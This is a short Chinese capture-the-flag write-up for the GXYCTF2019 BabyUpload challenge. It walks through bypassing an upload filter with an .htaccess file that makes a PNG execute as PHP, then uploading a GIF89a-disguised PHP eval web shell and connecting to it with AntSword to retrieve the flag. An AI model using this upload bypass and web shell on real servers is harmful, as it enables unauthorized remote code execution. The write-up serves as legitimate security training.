[GXYCTF2019]BabyUpload 1练习

一看界面发现要利用上传漏洞

[GXYCTF2019]BabyUpload 1练习_第1张图片

然后上传jpg、png、gif发现好像都上传不上去

[GXYCTF2019]BabyUpload 1练习_第2张图片

然后尝试上传个.htaccess文件,更改content-type为image/jpeg

.htaccess文件为:
<FilesMatch "xin.png">
SetHandler application/x-httpd-php
</FilesMatch>
  • 发现上传成功
    [GXYCTF2019]BabyUpload 1练习_第3张图片
    [GXYCTF2019]BabyUpload 1练习_第4张图片

成功了就好办了,然后上传一个xin.png木马图片,顺便修改一下content-type为image/jpeg

图片内容为:
GIF89a
<script language='php'>eval($_POST['cmd']);</script>

[GXYCTF2019]BabyUpload 1练习_第5张图片
[GXYCTF2019]BabyUpload 1练习_第6张图片

访问一下这个图片路径

[GXYCTF2019]BabyUpload 1练习_第7张图片

触发后门,使用蚁剑连接一下,密码为cmd

[GXYCTF2019]BabyUpload 1练习_第8张图片

然后右键文件管理,回到根目录拉到最下面成功找到flag

[GXYCTF2019]BabyUpload 1练习_第9张图片
[GXYCTF2019]BabyUpload 1练习_第10张图片
双击打开就阔以得到flag了
没想到上传个.htaccess就好了,后面搜了一下发型还有

你可能感兴趣的:(web刷题,php,安全,web安全)